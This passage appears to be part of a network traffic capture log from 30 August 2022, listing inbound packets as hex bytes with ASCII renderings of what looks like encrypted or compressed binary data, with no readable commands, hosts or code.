2022-08-30 13:56:44 UTC	1122	IN	Data Raw: 19 e5 0c 0a 76 ba 76 b2 3e a1 6b 13 d5 38 a3 e5 22 cf 76 12 a4 dc 02 3e e0 bc 3f 35 b8 2d 2a 3c d2 de 3b 7b 9f 80 16 15 6e 10 d8 26 c8 00 3f 47 2a 75 e7 e8 ce 77 b9 e5 23 ab aa 77 bb a6 fa 51 85 ab 53 bb ca c1 35 7c 1a 71 5a cf 65 b0 e3 7a 38 27 f8 3c c9 87 e1 e4 6a 44 80 ae 89 46 79 50 b4 5f 7f e0 5b 49 6a 0b 48 4c 7c 43 ac 1b 15 cb a9 84 28 76 3a 08 e3 e1 5e f5 d4 64 b1 52 ea 06 0d f4 6b 34 cc 8c e7 99 a6 d1 e1 62 23 46 03 65 31 3e b5 15 aa 31 d0 be 5e e8 0d ba 5f 37 0d 71 3e c6 72 ec 14 36 56 34 47 f8 c5 ed de bd 46 f9 6c d8 77 a1 54 93 ea 4f 89 2f 73 38 2e 13 54 e0 33 d1 1f 83 10 ca 3b 95 85 21 df 3c d5 a7 7e 5f 91 28 6d c7 00 99 3f f7 7f e8 38 9e 9d bd c5 8a 35 f7 e7 61 2d 43 78 5e 69 a7 f3 aa ff 59 4f 28 13 99 df 7e 10 36 de df 50 e8 e6 14 1f ed a3 Data Ascii: vv>k8"v>?5-<;{n&?Guw#wQS5\|qZez8'<jDFyP_[IjHL\|C(v:^dRk4b#Fe1>1^_7q>r6V4GFlwTO/s8.T3;!<~_(m?85a-Cx^iYO(~6P
2022-08-30 13:56:44 UTC	1123	IN	Data Raw: eb a3 d2 19 2a 29 e4 31 9c 82 e4 a1 79 33 6c e8 1e 97 80 c9 22 aa 13 1c 2c eb 22 af eb 3a 76 26 6e 62 be 7b b2 80 58 6a 2c c1 ca d3 37 87 23 66 b9 2c a1 35 f9 6f 77 04 1f f5 6d 62 87 b5 2d f3 a3 32 14 27 83 00 07 a0 cd 82 04 a0 26 e7 e6 a2 2c f1 b3 44 8f e3 79 2f 3e 18 2d 13 8b b5 2d 17 47 be 9a 44 78 13 0c 3d d7 2f 6a a9 e1 62 9a 6f 58 e9 a2 3b b6 5c 57 ec f2 7a a0 6e a3 e9 24 6d a9 e3 5d 07 bb 10 d1 2e 6c e0 4d 83 2e 20 67 fa 26 7a cd ff 0a c7 2d 0f 5f 13 9e 1a 80 6a 5d 37 39 a3 f1 3f ab 33 ce 56 43 7f a7 15 a5 e8 fc ab bf 67 28 31 32 af ae ea 80 4c ca 5a fb dc 00 7f 83 43 6b d3 5b 0a af be 1b d7 1a e3 bb db 7b 6d a7 1e d5 93 58 80 42 d8 e1 7e 3c fc ba 02 8c 2d b3 ff e2 df dd 6c ac 66 56 46 74 6f a6 5d 62 77 44 6c c1 9a bf ff e2 c5 4d 1f 7e d3 a8 ee dc Data Ascii: *)1y3l",":v&nb{Xj,7#f,5owmb-2'&,Dy/>--GDx=/jboX;\Wzn$m].lM. g&z-_j]79?3VCg(12LZCk[{mXB~<-lfVFto]bwDlM~
2022-08-30 13:56:44 UTC	1124	IN	Data Raw: 17 b1 dd 19 e1 d4 fc b3 60 89 52 c9 e3 26 d4 1a ec c4 b7 96 2a 13 de de 26 d8 96 30 ce 7b 82 c3 f4 7e fd e6 bd e1 e9 36 94 d1 65 99 5f 26 eb ba 3e a6 2e 66 a4 6c ed df b3 41 8f 1a c7 5b ef 11 3b 7b dc 31 92 8f 1e 84 8d 4d 70 b0 3d d4 59 ef 35 67 36 69 27 53 1d 19 1c ec 16 d0 39 08 4d a9 d6 cd c2 08 32 fb 01 cd 60 fe 38 c3 7d f4 b8 54 5a 92 32 a6 64 f0 fd 36 6b 36 03 4d 2e 99 36 33 d7 45 80 c3 51 ed e1 dc 1f d4 e9 d0 36 3a e1 b8 b6 11 96 13 77 8f ba 36 3d f5 91 8f 9d 83 66 c5 fd a5 45 46 ab 58 46 ec 62 11 be c5 0b ba 1e 45 8c 2b 8a f7 18 87 78 dd 02 84 49 b5 0e db 3d 40 f3 80 32 3a c1 c9 e8 93 db 45 8a a0 31 a6 cb b8 2a 58 06 54 f4 3a 5a 07 29 a7 17 a3 f4 03 b2 69 3e 23 95 0d f9 a4 35 a9 6b cd 00 60 aa 10 32 4b 7e b7 e3 69 29 2a 9b e7 ad 4d 7d 11 be b9 9d Data Ascii: `R&&0{~6e_&>.flA[;{1Mp=Y5g6i'S9M2`8}TZ2d6k6M.63EQ6:w6=fEFXFbE+xI=@2:E1XT:Z)i>#5k`2K~i)*M}
2022-08-30 13:56:44 UTC	1126	IN	Data Raw: f7 c5 4d ab 31 2c b3 12 9f 96 d5 b0 b3 7e bd 94 47 74 52 89 c7 6a 07 a2 85 a3 1a 6d 1e 02 3f 8e a4 6a 06 bf a0 e4 0f c0 94 95 83 05 ce 85 a6 e1 2c 8f 1f f5 61 6e f6 d3 92 12 09 55 ff 0e b5 d2 f8 9d 98 0e f0 76 b5 0a d7 ad 7e 05 ca 2d e0 7e bf e9 7a 4c d7 1d d8 32 74 05 49 60 af 6d 84 1e a6 d3 48 6b c1 0b a6 e9 e0 ba b3 18 d4 bd 2f b1 22 19 c7 7f 9c 58 b7 75 9e 53 19 7e 56 31 a4 0b c5 69 d9 97 26 f3 bf eb cc dc ff ef 15 59 24 a5 63 62 27 65 a3 e1 f2 37 a0 d3 13 eb e4 42 4b 53 0d fd d8 62 87 32 1e 5c 77 96 66 07 b7 fa a4 79 37 69 4c 80 af e0 a4 b4 38 a4 ab 82 3e 1a a2 6a ac d3 53 29 f6 d2 ec c1 51 6b a7 94 Data Ascii: M1,~GtRjm?j,anUv~-~zL2tI`mHk/"XuS~V1i&Y$cb'e7BKSb2\wfy7iL8>jS)Qk
2022-08-30 13:56:44 UTC	1126	IN	Data Raw: ad ea 69 23 e3 a6 73 b7 ab e3 5e 9d a1 6a a5 7c 9f de 38 6e a0 69 ad 41 05 e6 c9 9c 9d a1 c6 43 fd 99 26 17 5b eb e7 ab 26 41 c7 a0 26 38 74 eb 2c 60 26 6b a1 1c d1 6a a0 69 a5 68 da 14 e1 0d 84 6d a7 6b 6b e8 bf 6f a6 b6 d5 13 d8 e2 dc 99 4d e7 7b ae 41 04 60 4d 04 a1 11 a3 2f 51 14 b5 f0 0d 48 22 98 22 28 cd a5 80 d6 19 a5 e1 73 79 66 a4 ed 63 ee f0 98 06 a5 18 d4 2d 73 7a 22 19 25 35 df ff 67 c1 82 6f 64 25 e6 20 fc d3 8a ae af 67 ec 21 a3 63 2d 2d 6b 08 f2 55 f7 6c 19 31 b9 38 a7 c3 f5 86 13 36 ab e5 e0 aa fc 6b b5 7d 3f ea f9 f7 80 25 a7 82 f1 b7 28 e8 a5 ee b0 bb 61 c4 f6 e3 93 64 28 ab e5 7a 08 23 10 77 44 85 c1 0c 5f 94 71 ac f0 b0 62 00 87 2e 67 f8 4a 23 50 21 45 e1 d5 bb 74 27 3a 65 a9 df dc e5 c8 86 ab ed 61 2f f9 6b c3 af 51 59 6b ac eb 0b bc Data Ascii: i#s^j\|8niAC&[&A&8t,`&kjihmkkoM{A`M/QH""(syfc-sz"%5god% g!c--kUl186k}?%(ad(z#wD_qb.gJ#P!Et':ea/kQYk
2022-08-30 13:56:44 UTC	1127	IN	Data Raw: ca d7 59 8e 02 5a 80 18 18 0f 9d ab 20 2e 08 fd 1b 76 7a 67 ef 02 48 ba 46 d1 7f 1f f0 be 63 e9 47 36 fb 52 df e2 7e e1 56 c0 2f 10 80 da a3 05 7c 36 be f7 34 f4 b4 71 a3 9a fb b7 9e 49 00 2e ae 80 f8 09 3a dd a7 14 08 97 38 45 8e c9 0a fe f8 66 06 0b aa 2c 39 fa 34 f0 92 89 70 a6 aa 20 e5 6b d3 9b ab 8e 0e bd 6b 00 9a 43 0e 20 e0 52 22 96 3c 18 77 d2 c7 5a 8d df da 48 2b 09 e0 2e 06 5a c1 67 15 6e 8b 1e 69 26 61 ce d2 56 3e d3 03 af 3b 7d ac 12 f8 f2 02 a6 7c 6c a8 ea 86 9e 1d 10 15 b3 eb 1c 29 b7 17 36 07 3c 43 d9 90 6d 46 f0 8f 58 25 64 0d 83 29 c8 b2 c3 2f 6b b3 f0 c2 2b 59 18 e6 e8 a9 58 19 c0 81 4d c3 5b 2e b3 3a b7 c5 2b 01 36 a0 b4 61 4c 51 ec aa c6 19 c1 5c ee 6e 2c 61 f8 91 4c c0 cc 3b 08 80 72 2b 2d 71 a5 3c ec e1 82 84 65 9c fc aa 57 ca 16 29 Data Ascii: YZ .vzgHFcG6R~V/\|64qI.:8Ef,94p kkC R"<wZH+.Zgni&aV>;}\|l)6<CmFX%d)/k+YXM[.:+6aLQ\n,aL;r+-q<eW)
2022-08-30 13:56:44 UTC	1129	IN	Data Raw: c8 6e 8b d2 a7 6a 21 67 a9 ae e6 f4 6f bc b9 f0 33 62 3f 64 2a 11 5d 1c d8 61 2c e7 2a 2f 37 cb f8 4a ca 07 20 33 79 ce 01 f4 27 f6 a1 e8 09 c2 02 15 f3 ed 2d 6b 8d 40 8e e3 07 66 f6 eb b9 a0 ac dc 10 41 05 ee 00 51 3b e6 63 73 5d cc ab e0 f0 3c 65 a6 33 d9 9a e4 eb 29 3c 38 28 b7 ac 83 00 f3 7b 61 64 21 50 e0 de ed 14 d3 59 15 97 d1 67 29 ff 6c 0e c2 00 82 e0 6b a2 b9 0b 8e 74 b3 66 6a a7 cf 15 74 ae e8 0e 90 76 76 3e ef 60 6b 61 c9 f0 e0 c2 f4 0d 4a 21 e5 a6 24 ac ce ab 80 a0 bc 76 ad 50 59 ad 63 2a 8c 26 9c 42 88 7f b5 08 d3 26 b2 3b d8 10 cb 02 62 6b a3 0c 5f a6 b6 11 e3 50 2d 23 fa 3c 10 3c 00 cd 01 e6 2a a7 6a 60 ab 21 08 41 7e 48 95 70 34 68 28 26 2f 68 e1 25 33 38 ba b7 d3 93 a9 b5 bf 68 3c bf a5 26 20 2a ff 74 eb f1 58 80 2f f1 bb 26 38 f3 2b a6 Data Ascii: nj!go3b?d]a,/7J 3y'-k@fAQ;cs]<e3)<8({ad!PYg)lktfjtvv>`kaJ!$vPYc&B&;bk_P-#<<j`!A~Hp4h(&/h%38h<& *tX/&8+
2022-08-30 13:56:44 UTC	1130	IN	Data Raw: 1e 69 23 20 2f c9 e3 49 25 69 04 c7 b2 3b a1 26 00 29 dc db 44 d1 7e 51 b8 93 8d 74 38 5d 05 ec a0 b1 e9 74 c8 7e 98 68 6c fa c7 15 50 7e 8a 60 ea dd 15 0c 89 c3 95 37 38 7e c2 39 27 58 03 31 c0 0c 89 f3 2d ff 9c 6e 85 68 70 9d 8f dc 92 a6 1e 97 ac 5a 34 87 65 a4 e3 b1 99 c4 cb 8a 6c 58 30 63 8e 50 5e a9 b3 9f 15 d0 13 7d 29 6f 82 76 a7 ac 6a d1 a5 c1 42 24 29 07 33 10 67 3c 85 0a 38 c3 85 62 04 d9 bf 2d ac e4 ab ea 33 43 82 05 f5 af a2 03 6e a5 1d 80 bb 5a 30 83 1f d6 22 83 13 ab fe 58 28 7b 36 36 2a c6 5e f6 0f d1 e4 3a 0f 87 26 ed 6c 73 84 34 af eb 4e 67 da 97 0a 2c af cd cd e5 af c9 0a 10 16 66 02 0c a9 d4 1c f3 0a e6 1f ce 18 f2 20 56 96 fc b6 d5 9c 1f 9a bc 02 54 ea 13 95 ec 7f 49 77 0a 78 32 c9 c0 05 d8 54 cf 7b 7f a6 ab ad fa b5 41 0a 21 8f 31 dc Data Ascii: i# /I%i;&)D~Qt8]t~hlP~`78~9'X1-nhpZ4elX0cP^})ovjB$)3g<8b-3CnZ0"X({66*^:&ls4Ng,f VTIwx2T{A!1
2022-08-30 13:56:44 UTC	1131	IN	Data Raw: 47 63 80 df d4 69 69 08 dd 44 f4 44 27 af 4f 43 2f 2d e0 3e 0e 51 25 c3 63 a9 cd 2b 01 49 12 9a 4d 84 b3 2a f4 2b ea 37 f6 68 59 05 83 be de f8 0d 69 80 62 fb d3 7d d8 2d a7 25 0e 17 81 dd e1 61 d3 33 0c a7 3d 92 e6 51 44 96 58 54 23 0d ba 76 c9 4a ea 67 66 0c 16 37 25 5f ba f1 06 11 a2 c7 86 1f 1f 4a c0 01 0f 05 c5 c7 a2 4f 66 67 0a 86 df 33 0a 45 b2 4e 39 a8 35 77 db 46 ab 58 46 de d5 07 4e 97 5e f6 6b f2 4f 24 cd bb d1 00 4a 20 cd ab 3b 5d cd 4b b7 95 59 97 4a 81 9c f0 cd a3 4f 82 6c 63 28 07 46 0f ca e4 c1 93 a2 46 68 75 4c ae 47 bd 9f df db 93 0c ac 76 6e 63 c1 83 ff 04 b4 44 fd bb 14 de 0f a6 cf ef Data Ascii: GciiDD'OC/->Q%c+IM*+7hYib}-%a3=QDXT#vJgf7%_JOfg3EN95wFXFN^kO$J ;]KYJOlc(FFhuLGvncD
2022-08-30 13:56:44 UTC	1132	IN	Data Raw: a2 7b 30 d1 16 c2 14 ac f1 7d b6 a7 38 31 6f f9 8f 94 e2 f9 7d c7 93 35 1e cc d1 c8 07 56 af 72 bc f9 3e c3 96 56 de bd 96 cc 07 aa bc b5 82 4f 8c 59 92 36 f4 28 e6 3a e7 33 e0 94 4e 2b 0c a5 1e ca 62 86 8d 73 eb bc 07 e2 dd b8 22 d3 ec 07 d4 17 96 a2 74 20 9b f3 48 46 f5 3e 9f 95 4a 10 17 ba ff 67 fa 8a 83 33 d0 db ca ab c0 b6 c7 b1 c0 43 1d 1d 9f 0a d6 6b 86 71 36 17 56 1b 5d 0a b1 ae 1e c0 c0 5c 88 55 fa db ac 17 01 fe 7b ee 41 87 16 6d 0d 0d 4b 82 2c a8 83 03 be db 82 f2 eb 0e da 72 63 3e ce 2a 2a 1c 6c e0 31 06 61 0d 78 21 54 0d d7 b0 85 fe 20 e5 0f 8f 75 6a a2 97 8e 94 9a 6b bd 66 42 8c 4d ff 59 50 11 9a b3 ad 7d 18 21 80 32 ff 32 ff 32 9b 2a 83 0b 8a e4 9b 55 f3 f9 ac cc e6 4a f8 26 01 26 66 6f 82 ff af 47 c8 3f 08 47 a6 04 aa ef 35 08 ff 9d 7e 97 Data Ascii: {0}81o}5Vr>VOY6(:3N+bs"t HF>Jg3Ckq6V]\U{AmK,rc>*l1ax!T ujkfBMYP}!222UJ&&foG?G5~
2022-08-30 13:56:44 UTC	1133	IN	Data Raw: 3b f2 92 4b 07 95 85 16 2c 62 ee 88 17 13 83 2d 05 5b f9 77 fc e2 63 6b d3 08 b2 31 d3 83 e5 a8 3c a6 fa 25 df 57 8b 42 4c 95 ba 54 1c 16 92 ab 6b 61 e8 66 16 47 b2 67 95 2c ab e2 7b 4f 61 a5 ea 23 e5 d4 17 dd e1 df a6 0d 00 f0 c2 8b ee 90 67 ea 48 a5 2c 62 17 5a 1b 09 3d 61 27 5b c9 a6 07 59 fc 14 0f 30 ca df 84 48 a1 a1 84 4a e6 ca e6 90 5d ed 07 ee a0 7a 23 37 b3 fe c0 54 b1 e5 61 e2 75 8e 1f 16 13 c3 7b 97 e1 fb 55 5e cf 13 6a 2a e7 f2 93 b2 ff 7b 9e b3 92 4b ea 9c 55 26 2e 4e 96 7a 62 62 8e fe 68 a7 fd a7 42 94 49 f7 95 4d 4b d7 2a b3 f9 e0 9e 9b a1 e5 4f 87 e8 05 ed 80 e7 29 4b 84 4b a8 2f cd 02 f0 54 a9 42 e0 51 3d 89 06 ef f1 52 cf 61 2c 15 54 73 de 06 b0 9d 7a 75 d2 6b 9b 50 f4 39 9f 22 06 f7 0e 3e 41 92 8c ab c2 3a 84 96 3c 0f da 76 c6 6a bd b1 Data Ascii: ;K,b-[wck1<%WBLTkafGg,{Oa#gH,bZ=a'[Y0HJ]z#7Tau{U^j{KU&.NzbbhBIMKO)KK/TBQ=Ra,TszukP9">A:<vj
2022-08-30 13:56:44 UTC	1134	IN	Data Raw: f9 35 a6 f1 8b df 0c 46 f4 b8 ab 62 9c db af 2e 64 67 af 62 af 5d 92 90 4d 66 bc 6f e3 25 0b b3 af a9 ea 80 4e 5f 6f 32 b3 db 1a bb bf 53 d0 2e 65 3f 71 5b 41 85 d3 b6 7f bc f2 a2 6d 01 b3 22 a9 da 8c 22 0e 3c aa cc 9e f4 39 d4 62 be 0c 91 5c b5 a1 6c 43 58 71 6a f7 3a be a8 0a 58 87 a7 2d 13 f8 a4 5b 86 b6 96 dd d5 8e 81 4d 62 e2 78 41 56 a0 21 12 b8 88 e3 d4 e9 c7 32 aa a4 1b c8 99 65 0d ac da 78 0e a3 55 56 ab e7 6d 96 11 77 82 05 b7 26 a3 a8 a9 14 97 69 5b 31 83 ad 64 69 d8 52 35 cc 9d 72 7c 90 4a d8 1f b3 62 77 7c 40 c6 1e c6 be 67 a8 ed 22 67 34 74 a0 c8 22 82 2e dd 11 f8 f6 ef ae a8 ed 27 09 80 58 81 0d 51 e0 43 fb 8d 38 a6 66 6c ea d2 93 b8 bc 2e e6 2b 2e 50 ad 08 3e e9 23 a0 47 7f 19 25 e7 3a 3c c9 85 66 6d a1 3d 30 eb a0 8b 2e 43 a7 ad 26 24 4e Data Ascii: 5Fb.dgb]Mfo%N_o2S.e?q[Am""<9b\lCXqj:X-[MbxAV!2exUVmw&i[1diR5r\|Jbw\|@g"g4t".'XQC8fl.+.P>#G%:<fm=0.C&$N
2022-08-30 13:56:44 UTC	1136	IN	Data Raw: cf 22 a3 1a 05 37 e0 59 c5 b7 2a 22 2f 8c ba c3 6b 72 22 6d a0 75 7b fc 12 ac c1 dc 90 aa 61 26 72 da 8c 2a af cd cb eb ab a0 e1 b1 b9 e7 2a e2 ed e5 89 81 2c e3 63 2c 6f 26 68 26 97 99 62 ef 1e a8 9a 39 9e 5c fb 2c 1f da e9 26 5b 52 d0 b3 0a 2c 20 4d 87 5a 9f 66 27 f5 bb e7 29 73 bc 1e 9e 16 56 a7 e7 6d 2c f6 50 8d a7 1e 4e c5 e7 4d 53 6b 9e 38 39 28 3d f1 b1 61 20 60 af db 44 3e 4a 28 22 a8 24 84 db 7b 4e 02 e6 88 21 ae 36 eb 69 1c d0 9e fe 38 f5 0b c6 4d 73 cb 0f 01 d1 e2 11 7d f5 ec 80 7c 1b e3 86 24 d6 8f 9d 6e af 74 6a a7 57 66 5a 46 b0 a0 d3 1c 26 cf 1c a6 0c 0f fb c7 2e 09 22 3f 3e ec e4 e5 ed ca 0a 06 d0 5a d1 98 7d 2f e3 d9 a5 02 0e 60 9f 6c 80 1a 22 4c 40 b8 93 6c 60 61 8a b5 b8 e0 c1 fd d4 f1 ea 30 35 f6 2d 7a b6 21 6c db 17 f9 3e cd 20 85 a3 Data Ascii: "7Y"/kr"mu{a&r*,c,o&h&b9\,&[R, MZf')sVm,PNMSk89(=a `D>J("${N!6i8Ms}\|$ntjWfZF&."?>Z}/`l"L@l`a05-z!l>
2022-08-30 13:56:44 UTC	1137	IN	Data Raw: 74 d9 c3 00 96 4d 9a 4c c6 b8 a4 08 59 fe ff 92 5d 43 61 14 f7 7e a5 63 80 88 9d cb 3e 32 38 74 ba 60 51 cb f0 7c 77 aa a7 a8 6a 74 f2 28 b1 f9 e4 aa 87 71 5e da 09 8d 5f da d4 63 2e de a3 02 bf 11 5f a9 d5 ef dd 94 d5 3d 9b 40 46 ff fd fc 0c b2 b1 96 c1 3e 54 a7 8a ec 66 12 88 d2 32 97 3f f9 27 83 4a 65 a9 ef bd 95 9f 6b 18 ea af 6e 3c 6a 0f b6 3c ee 82 b5 9a f1 87 8a 0c 4b 2e 9e ed 0e 7b 64 ce 60 4c 27 3f 6f a3 25 80 bd ca 3e 78 ce e6 bf 40 bb 67 99 59 f8 10 9c 71 a6 a2 78 a3 89 70 09 e9 ef 11 87 56 8b 27 40 c8 90 4d fe a1 de 62 1d d5 1c 2d d2 96 84 88 28 02 88 e5 bd d8 c3 d2 55 86 10 48 99 be ab 23 38 Data Ascii: tMLY]Ca~c>28t`Q\|wjt(q^_c._=@F>Tf2?'Jekn<j<K.{d`L'?o%>x@gYqxpV'@Mb-(UH#8
2022-08-30 13:56:44 UTC	1137	IN	Data Raw: 05 86 81 14 bc fd 3d ab b2 bc a8 fa f8 2e e3 de d3 7e 37 35 08 16 24 6f 51 53 e6 69 4f 9b 36 6f 5d 6f d6 78 30 dc 95 1b 66 db a1 e7 a2 88 bb 1a a7 82 68 b7 a2 6a db 2f 75 7e 26 15 f5 c5 a4 6a d5 84 1f 7d 62 cc f1 74 f4 74 f4 67 27 c5 0d f8 7b aa 4f 83 f4 3a ad e3 a2 10 99 fa de 31 09 5f 2f 1b 99 4b 59 d9 34 cc e0 23 d8 14 db 38 19 bf a1 61 9a 66 b4 be 53 ef a5 fb f2 1b f1 b7 68 5f d2 1d 5f e6 2b e0 86 72 cf f0 79 de 8e bd 99 86 20 ea 5e 91 0c 49 21 9d e3 6b 91 99 47 2c 7a 94 de 36 3e 83 bc 26 d8 14 d9 03 64 95 38 b8 bf 62 2c e6 b0 0c d5 5d 5d a3 4c 84 29 ae ec 45 44 99 14 13 20 0f b4 6b ac 53 62 cd 20 ad b4 6a d2 19 88 c0 8d e3 d3 6c f7 95 2d 17 47 47 44 4e a5 6a 2c f6 3b a6 e8 49 4a fc b6 ab 57 4b a4 d0 fc cf 80 63 87 ca 36 34 d4 4b 81 4b 82 9d 51 3f 00 Data Ascii: =.~75$oQSiO6o]ox0fhj/u~&j}bttg'{O:1_/KY4#8afSh__+ry ^I!kG,z6>&d8b,]]L)ED kSb jl-GGDNj,;IJWKc64KKQ?
2022-08-30 13:56:44 UTC	1138	IN	Data Raw: 3c da 96 69 26 4e 4a ac 6d 7d 27 98 8b bf f9 62 6b 48 c4 7b 55 4b e7 f8 37 e8 55 c4 2d f7 2c e1 4e 16 a5 38 0d 51 db de b1 29 a5 d3 85 f5 2f ed 19 81 fb f8 56 4e a3 7e 73 7a 74 2c 23 e4 2a ae 59 8f 5e 45 ab fd 0d 5f 75 78 64 64 45 4f ad a8 92 1d 05 48 b5 5f 41 8b aa c5 6c 62 24 77 a2 76 5a 53 6a 3c 31 23 2d 79 34 da 57 91 8a 52 87 e2 a1 89 c7 a5 fb b4 16 1f e0 7f 4b 96 11 57 1b f9 4a c6 a7 5e 24 b8 6b 43 8d c0 c7 8a 5c 34 86 ad 20 6e 2b 33 fc 8d 65 28 81 f2 5d 9c 97 99 31 eb 79 42 d0 44 a1 ef 69 69 24 be f2 a4 ad ad 85 66 cb 50 9c 1e 33 b7 18 55 10 e3 8d 4e 6d 68 c3 16 89 95 86 4d 8f 04 2d ed 5c c5 b1 ca 62 00 cf c1 ab 2b 87 65 8a e5 23 61 0c 00 36 76 1c 1b 61 a1 8c b4 a6 59 7d 10 82 cc 28 ac 23 d5 08 53 ae 44 cc ed 65 a4 b5 4b 9a 61 2d dc a9 a2 91 a0 ec Data Ascii: <i&NJm}'bkH{UK7U-,N8Q)/VN~szt,#*Y^E_uxddEOH_Alb$wvZSj<1#-y4WRKWJ^$kC\4 n+3e(]1yBDii$fP3UNmhM-\b+e#a6vaY}(#SDeKa-
2022-08-30 13:56:44 UTC	1140	IN	Data Raw: d6 13 e3 55 50 7a b8 6a 94 90 e3 e3 92 d1 29 7e b7 50 d9 23 5a ef d4 2d 65 f9 4e 9b dd f6 09 2a d3 06 f9 9c 2c a6 26 fe f5 f7 59 b1 ec ff 79 62 2a a5 1d 79 12 b9 ab c2 ae 8f 9d 6a 65 84 34 39 c3 64 ff c9 20 e2 6f df de 63 22 3a 0a 92 f7 b7 a9 2e 96 fa 06 e8 a2 d2 0a cb 5c 7a f8 d5 5d 65 88 be 53 65 50 92 41 1a e1 b1 24 a5 e5 9f 51 af 6e e1 52 19 a5 62 af e1 b9 ae ec fb e7 2a 7e 10 df c5 88 1c 09 da b9 ce 24 12 7a 99 4a 40 a1 ff 61 9f 15 5b 4f b4 71 b4 21 30 7e 96 89 3b d5 c3 77 2d 25 cb ce a2 16 17 4e 04 b1 b5 25 c7 3e 12 ee 23 42 d3 0e f5 cb 6a aa 67 a7 e1 92 3b 54 38 e9 bb 2d d7 e2 47 32 86 ef c6 57 06 27 e1 2e ed 33 6e 31 11 5c 1d 4f 75 44 f2 5d 67 2d 5e f6 90 af 77 23 e9 50 c0 79 c1 82 9b bf d0 72 e9 60 54 98 e9 14 f4 08 28 20 a4 8b 9c 38 be 1a b2 ac Data Ascii: UPzj)~P#Z-eN,&Yybyje49d oc":.\z]eSePA$QnRb*~$zJ@a[Oq!0~;w-%N%>#Bjg;T8-G2W'.3n1\OuD]g-^w#Pyr`T( 8
2022-08-30 13:56:44 UTC	1141	IN	Data Raw: a3 ac e9 b0 3a 77 38 66 28 4e 79 9c bd 0c fd c7 ac e6 ed 60 26 be 4b 16 ae 1e 1d dd 92 a6 18 ac 98 69 23 98 8b fe e1 d3 06 eb 70 ea 98 dd 27 61 9d a1 10 69 d7 6c 90 61 65 10 1d 4c b3 33 37 54 d1 d4 51 17 9c 26 1d 71 c3 d0 e9 60 a5 26 a6 1a 02 bc ee a8 53 d1 2d 24 a6 e4 61 ef 2d e8 2d 9c 8b 76 a8 eb 98 d8 42 02 ac 13 96 6c 29 ed ab 50 6e 7f 8b 56 a0 59 26 e4 a4 ea 84 32 93 2d 10 23 19 74 ff a7 6a f1 47 e8 06 ef 4f fa 54 db 40 25 2a 73 ba a3 10 da 5f e8 e0 d9 3e bf 1e d4 20 52 d5 c7 ca 74 6e 18 78 4d 78 a5 2a e4 69 94 90 ed 2d 6f 55 62 fa 01 91 d0 3e b9 1f 90 ae ff 71 57 59 a8 d2 d6 21 2e ee ac b5 f3 ab 6a e3 f0 cc f1 c3 60 a6 e6 bb 32 26 1a 09 e1 fb 60 6d 2c a5 22 bf b0 aa 34 b7 ca 8e 99 00 1f 34 d1 ba 37 e5 e9 2e b2 3f ee 20 87 cc 47 4c d3 dd 0e 8d eb 2c Data Ascii: :w8f(Ny`&Ki#p'ailaeL37TQ&q`&S-$a--vBl)PnVY&2-#tjGOT@%s_> RtnxMxi-oUb>qWY!.j`2&`m,"447.? GL,
2022-08-30 13:56:44 UTC	1142	IN	Data Raw: ce 65 71 fa c1 14 3a 2a db 91 b7 0b f1 78 97 67 98 58 a0 cd 12 ff a6 ea 2e a5 e9 04 60 d3 ae 7a a6 e3 68 20 20 27 3e 6b 3a 29 70 57 cd 02 30 6a 47 d5 87 e6 47 c4 65 a2 1f c5 8c 08 d9 06 60 69 77 ca 09 23 0f 80 6e d6 d1 1c c7 79 65 ad a1 7d fe f7 41 45 fe b2 f0 b7 66 e5 6b 0d b3 19 e0 aa f6 3f 2c 8a c8 e7 42 22 87 e5 3c 96 ca 07 13 72 ec c0 0e 22 57 df b2 49 51 8f e8 55 fb 7a 7b ac 85 7d 62 4f 54 c1 d4 a2 e7 64 b1 00 89 66 86 3c 79 56 a2 27 a5 e5 28 52 e5 5b 43 3a 06 dc 83 7b 0c cf 0e 07 bf 9a a6 38 34 88 8d 67 c8 40 e5 02 cc e6 a7 0b 0b 2b 2f e9 18 8e f6 3b 86 21 1f 11 25 65 96 16 60 77 45 82 16 b6 03 54 Data Ascii: eq:*xgX.`zh '>k:)pW0jGGe`iw#nye}AEfk?,B"<r"WIQUz{}bOTdf<yV'(R[C:{84g@+/;!%e`wET
2022-08-30 13:56:44 UTC	1143	IN	Data Raw: bc fe bc 19 d2 62 60 2a 18 0b db c8 21 b8 9b 72 d6 39 a0 c2 cd 1c 40 ae 13 00 ee d5 a6 07 b1 fa 55 a7 97 e3 82 0c 60 6b a6 58 1e 02 1f f2 6c 0a cf 42 8f fb 76 d5 4d 53 ca cb 49 ef d4 1b 9b 3b 13 3e 28 63 a0 5e 12 57 ae 55 2e e7 1c d2 cf 87 62 2e 22 6e fb bf 50 a1 14 c1 c6 d7 d6 72 c2 ca f5 e1 ab ad 5d 63 14 69 2f 66 9e a7 d6 2b f6 7e 2a 66 e2 28 25 62 26 66 20 ac e1 e8 5f 19 65 2f fa b2 6a ab ea 62 67 e3 a3 2b 3b 3a 4f e4 de 05 87 4a c4 f4 af ee a2 be 46 1b 86 4a f0 f1 2e 2b c0 68 a1 2c 8d a5 80 28 07 28 5a 80 a6 cf 1e ef 9b db 27 d1 5d d8 d8 0c 8f 79 86 02 7d a8 96 5a 5e 9d b8 ff e3 b8 40 9d 94 55 b9 7f 9d 44 b6 3a f1 62 b9 7b e3 10 89 f9 e2 8c 78 80 95 6c 83 7f b2 bf 6f 72 f7 4e d1 e5 2e 1e e9 04 1f b6 10 cd a7 4f d5 1b 2e af 7c 1d 4b b6 78 c7 8f fa 36 Data Ascii: b`!r9@U`kXlBvMSI;>(c^WU.b."nPr]ci/f+~f(%b&f _e/jbg+;:OJFJ.+h,((Z']y}Z^@UD:b{xlorN.O.\|Kx6
2022-08-30 13:56:44 UTC	1144	IN	Data Raw: 17 f8 d4 5c 7a bf ed 64 6b 31 0c 48 9b d7 81 dd 68 f4 1d d0 17 d6 ed f5 3a 73 cb de ef 58 e1 fb c9 59 17 e0 e4 66 85 4c ed e2 a4 e8 4b 51 fa 58 e3 d5 e5 7a c0 a4 a3 91 e1 62 dc b7 a2 78 6a a7 95 24 2d 6b ef 5c 0c 34 06 60 43 d3 fa c4 99 91 ad 56 0f 41 d5 5e af 19 a1 3d 85 7e fa 0a 8e 64 8b 32 72 7d fa 92 ba b7 54 e5 35 4d ca 20 19 94 49 2c 29 c0 ea 5a d3 59 b7 07 88 7e 55 ab 34 90 31 65 17 eb d7 8f 26 e0 6b 99 82 a7 c7 e0 02 f3 38 f5 54 2f 8a e7 7b 09 80 9a c3 67 76 02 11 db 6a 2c 28 13 d0 9f 2f 1e c0 a1 69 0b e0 2a f3 66 f5 cf c2 4d 43 3b c9 c4 8e 28 71 8e 0e 06 2e 3e 